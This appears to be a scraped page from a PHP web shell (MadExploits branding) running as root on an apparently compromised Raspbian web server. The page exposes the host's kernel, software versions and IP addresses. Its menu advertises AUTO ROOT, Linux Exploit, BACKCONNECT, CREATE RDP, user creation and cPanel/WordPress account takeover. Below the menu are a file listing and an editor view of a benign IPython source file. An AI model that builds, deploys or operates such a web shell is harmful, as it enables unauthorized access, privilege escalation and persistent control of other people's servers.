Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
IPython /
utils /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
PyColorize.py
12.09
KB
-rw-r--r--
__init__.py
0
B
-rw-r--r--
_get_terminal_size.py
4.31
KB
-rw-r--r--
_process_cli.py
2.36
KB
-rw-r--r--
_process_common.py
7.36
KB
-rw-r--r--
_process_posix.py
8.7
KB
-rw-r--r--
_process_win32.py
6.33
KB
-rw-r--r--
_process_win32_controller.py
20.91
KB
-rw-r--r--
_signatures.py
28.96
KB
-rw-r--r--
_sysinfo.py
46
B
-rw-r--r--
_tokenize_py2.py
16.75
KB
-rw-r--r--
_tokenize_py3.py
22.05
KB
-rw-r--r--
capture.py
5.1
KB
-rw-r--r--
colorable.py
825
B
-rw-r--r--
coloransi.py
6.79
KB
-rw-r--r--
contexts.py
1.93
KB
-rw-r--r--
daemonize.py
148
B
-rw-r--r--
data.py
1.17
KB
-rw-r--r--
decorators.py
2.02
KB
-rw-r--r--
dir2.py
2.07
KB
-rw-r--r--
encoding.py
2.8
KB
-rw-r--r--
eventful.py
164
B
-rw-r--r--
frame.py
3.09
KB
-rw-r--r--
generics.py
740
B
-rw-r--r--
importstring.py
1.01
KB
-rw-r--r--
io.py
7.65
KB
-rw-r--r--
ipstruct.py
11.59
KB
-rw-r--r--
jsonutil.py
134
B
-rw-r--r--
localinterfaces.py
155
B
-rw-r--r--
log.py
149
B
-rw-r--r--
module_paths.py
3.57
KB
-rw-r--r--
openpy.py
8.26
KB
-rw-r--r--
path.py
14.05
KB
-rw-r--r--
pickleutil.py
130
B
-rw-r--r--
process.py
2.87
KB
-rw-r--r--
py3compat.py
10.57
KB
-rw-r--r--
rlineimpl.py
2.65
KB
-rw-r--r--
sentinel.py
421
B
-rw-r--r--
shimmodule.py
2.74
KB
-rw-r--r--
signatures.py
332
B
-rw-r--r--
strdispatch.py
1.79
KB
-rw-r--r--
sysinfo.py
5.08
KB
-rw-r--r--
syspathcontext.py
2.11
KB
-rw-r--r--
tempdir.py
4.67
KB
-rw-r--r--
terminal.py
3.35
KB
-rw-r--r--
text.py
22.95
KB
-rw-r--r--
timing.py
3.99
KB
-rw-r--r--
tokenize2.py
160
B
-rw-r--r--
tokenutil.py
3.77
KB
-rw-r--r--
traitlets.py
168
B
-rw-r--r--
tz.py
1.32
KB
-rw-r--r--
ulinecache.py
1.58
KB
-rw-r--r--
version.py
1.2
KB
-rw-r--r--
warn.py
1.69
KB
-rw-r--r--
wildcard.py
4.54
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : _process_win32.py
"""Windows-specific implementation of process utilities. This file is only meant to be imported by process.py, not by end-users. """ #----------------------------------------------------------------------------- # Copyright (C) 2010-2011 The IPython Development Team # # Distributed under the terms of the BSD License. The full license is in # the file COPYING, distributed as part of this software. #----------------------------------------------------------------------------- #----------------------------------------------------------------------------- # Imports #----------------------------------------------------------------------------- from __future__ import print_function # stdlib import os import sys import ctypes from ctypes import c_int, POINTER from ctypes.wintypes import LPCWSTR, HLOCAL from subprocess import STDOUT # our own imports from ._process_common import read_no_interrupt, process_handler, arg_split as py_arg_split from . import py3compat from .encoding import DEFAULT_ENCODING #----------------------------------------------------------------------------- # Function definitions #----------------------------------------------------------------------------- class AvoidUNCPath(object): """A context manager to protect command execution from UNC paths. In the Win32 API, commands can't be invoked with the cwd being a UNC path. This context manager temporarily changes directory to the 'C:' drive on entering, and restores the original working directory on exit. The context manager returns the starting working directory *if* it made a change and None otherwise, so that users can apply the necessary adjustment to their system calls in the event of a change. Examples -------- :: cmd = 'dir' with AvoidUNCPath() as path: if path is not None: cmd = '"pushd %s &&"%s' % (path, cmd) os.system(cmd) """ def __enter__(self): self.path = py3compat.getcwd() self.is_unc_path = self.path.startswith(r"\\") if self.is_unc_path: # change to c drive (as cmd.exe cannot handle UNC addresses) os.chdir("C:") return self.path else: # We return None to signal that there was no change in the working # directory return None def __exit__(self, exc_type, exc_value, traceback): if self.is_unc_path: os.chdir(self.path) def _find_cmd(cmd): """Find the full path to a .bat or .exe using the win32api module.""" try: from win32api import SearchPath except ImportError: raise ImportError('you need to have pywin32 installed for this to work') else: PATH = os.environ['PATH'] extensions = ['.exe', '.com', '.bat', '.py'] path = None for ext in extensions: try: path = SearchPath(PATH, cmd, ext)[0] except: pass if path is None: raise OSError("command %r not found" % cmd) else: return path def _system_body(p): """Callback for _system.""" enc = DEFAULT_ENCODING for line in read_no_interrupt(p.stdout).splitlines(): line = line.decode(enc, 'replace') print(line, file=sys.stdout) for line in read_no_interrupt(p.stderr).splitlines(): line = line.decode(enc, 'replace') print(line, file=sys.stderr) # Wait to finish for returncode return p.wait() def system(cmd): """Win32 version of os.system() that works with network shares. Note that this implementation returns None, as meant for use in IPython. Parameters ---------- cmd : str or list A command to be executed in the system shell. Returns ------- None : we explicitly do NOT return the subprocess status code, as this utility is meant to be used extensively in IPython, where any return value would trigger :func:`sys.displayhook` calls. """ # The controller provides interactivity with both # stdin and stdout #import _process_win32_controller #_process_win32_controller.system(cmd) with AvoidUNCPath() as path: if path is not None: cmd = '"pushd %s &&"%s' % (path, cmd) return process_handler(cmd, _system_body) def getoutput(cmd): """Return standard output of executing cmd in a shell. Accepts the same arguments as os.system(). Parameters ---------- cmd : str or list A command to be executed in the system shell. Returns ------- stdout : str """ with AvoidUNCPath() as path: if path is not None: cmd = '"pushd %s &&"%s' % (path, cmd) out = process_handler(cmd, lambda p: p.communicate()[0], STDOUT) if out is None: out = b'' return py3compat.bytes_to_str(out) try: CommandLineToArgvW = ctypes.windll.shell32.CommandLineToArgvW CommandLineToArgvW.arg_types = [LPCWSTR, POINTER(c_int)] CommandLineToArgvW.restype = POINTER(LPCWSTR) LocalFree = ctypes.windll.kernel32.LocalFree LocalFree.res_type = HLOCAL LocalFree.arg_types = [HLOCAL] def arg_split(commandline, posix=False, strict=True): """Split a command line's arguments in a shell-like manner. This is a special version for windows that use a ctypes call to CommandLineToArgvW to do the argv splitting. The posix paramter is ignored. If strict=False, process_common.arg_split(...strict=False) is used instead. """ #CommandLineToArgvW returns path to executable if called with empty string. if commandline.strip() == "": return [] if not strict: # not really a cl-arg, fallback on _process_common return py_arg_split(commandline, posix=posix, strict=strict) argvn = c_int() result_pointer = CommandLineToArgvW(py3compat.cast_unicode(commandline.lstrip()), ctypes.byref(argvn)) result_array_type = LPCWSTR * argvn.value result = [arg for arg in result_array_type.from_address(ctypes.addressof(result_pointer.contents))] retval = LocalFree(result_pointer) return result except AttributeError: arg_split = py_arg_split def check_pid(pid): # OpenProcess returns 0 if no such process (of ours) exists # positive int otherwise return bool(ctypes.windll.kernel32.OpenProcess(1,0,pid))
Close